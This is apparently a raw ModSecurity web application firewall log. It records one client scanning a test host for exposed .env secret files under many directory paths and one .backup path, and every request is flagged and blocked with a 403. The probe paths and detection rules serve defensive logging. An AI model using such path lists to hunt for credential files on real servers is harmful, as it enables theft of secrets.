[Wed Nov 26 19:08:29.994587 2025] [:error] [pid 336732] [client 195.178.110.110:49472] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "aSdCHTG2dTj3WsfmBXw0GQAAAA0"]
[Wed Nov 26 19:08:29.994830 2025] [:error] [pid 336732] [client 195.178.110.110:49472] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "aSdCHTG2dTj3WsfmBXw0GQAAAA0"]
[Wed Nov 26 19:08:29.995044 2025] [:error] [pid 336732] [client 195.178.110.110:49472] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "aSdCHTG2dTj3WsfmBXw0GQAAAA0"]
[Wed Nov 26 19:08:33.265842 2025] [:error] [pid 336733] [client 195.178.110.110:56588] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aSdCIdFEE-YEDclto1jQxQAAAA4"]
[Wed Nov 26 19:08:33.266181 2025] [:error] [pid 336733] [client 195.178.110.110:56588] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aSdCIdFEE-YEDclto1jQxQAAAA4"]
[Wed Nov 26 19:08:33.266383 2025] [:error] [pid 336733] [client 195.178.110.110:56588] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aSdCIdFEE-YEDclto1jQxQAAAA4"]
[Wed Nov 26 19:08:40.648848 2025] [:error] [pid 332764] [client 195.178.110.110:56594] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aSdCKL_di7oM_t3yyj5TCwAAAAE"]
[Wed Nov 26 19:08:40.649192 2025] [:error] [pid 332764] [client 195.178.110.110:56594] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aSdCKL_di7oM_t3yyj5TCwAAAAE"]
[Wed Nov 26 19:08:40.649451 2025] [:error] [pid 332764] [client 195.178.110.110:56594] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aSdCKL_di7oM_t3yyj5TCwAAAAE"]
[Wed Nov 26 19:08:40.704497 2025] [:error] [pid 332764] [client 195.178.110.110:56594] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "aSdCKL_di7oM_t3yyj5TDAAAAAE"]
[Wed Nov 26 19:08:40.704744 2025] [:error] [pid 332764] [client 195.178.110.110:56594] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "aSdCKL_di7oM_t3yyj5TDAAAAAE"]
[Wed Nov 26 19:08:40.704945 2025] [:error] [pid 332764] [client 195.178.110.110:56594] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "aSdCKL_di7oM_t3yyj5TDAAAAAE"]
[Wed Nov 26 19:08:40.899699 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aSdCKNg2L5I3j1bw0PolEwAAAAA"]
[Wed Nov 26 19:08:40.900030 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aSdCKNg2L5I3j1bw0PolEwAAAAA"]
[Wed Nov 26 19:08:40.900257 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aSdCKNg2L5I3j1bw0PolEwAAAAA"]
[Wed Nov 26 19:08:40.968862 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "aSdCKNg2L5I3j1bw0PolFAAAAAA"]
[Wed Nov 26 19:08:40.969191 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "aSdCKNg2L5I3j1bw0PolFAAAAAA"]
[Wed Nov 26 19:08:40.969449 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "aSdCKNg2L5I3j1bw0PolFAAAAAA"]
[Wed Nov 26 19:08:41.028004 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aSdCKdg2L5I3j1bw0PolFQAAAAA"]
[Wed Nov 26 19:08:41.028331 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aSdCKdg2L5I3j1bw0PolFQAAAAA"]
[Wed Nov 26 19:08:41.028574 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aSdCKdg2L5I3j1bw0PolFQAAAAA"]
[Wed Nov 26 19:08:41.424151 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.vscode/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolGgAAAAA"]
[Wed Nov 26 19:08:41.424378 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.vscode/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolGgAAAAA"]
[Wed Nov 26 19:08:41.424577 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.vscode/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolGgAAAAA"]
[Wed Nov 26 19:08:41.550561 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /js/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolGwAAAAA"]
[Wed Nov 26 19:08:41.550791 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolGwAAAAA"]
[Wed Nov 26 19:08:41.550990 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolGwAAAAA"]
[Wed Nov 26 19:08:41.612751 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolHAAAAAA"]
[Wed Nov 26 19:08:41.612992 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolHAAAAAA"]
[Wed Nov 26 19:08:41.613216 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolHAAAAAA"]
[Wed Nov 26 19:08:41.695761 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolHQAAAAA"]
[Wed Nov 26 19:08:41.695989 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolHQAAAAA"]
[Wed Nov 26 19:08:41.696189 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolHQAAAAA"]
[Wed Nov 26 19:08:41.770865 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mail/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolHgAAAAA"]
[Wed Nov 26 19:08:41.771194 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolHgAAAAA"]
[Wed Nov 26 19:08:41.771506 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolHgAAAAA"]
[Wed Nov 26 19:08:41.848040 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mailer/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolHwAAAAA"]
[Wed Nov 26 19:08:41.848280 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mailer/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolHwAAAAA"]
[Wed Nov 26 19:08:41.848505 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mailer/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolHwAAAAA"]
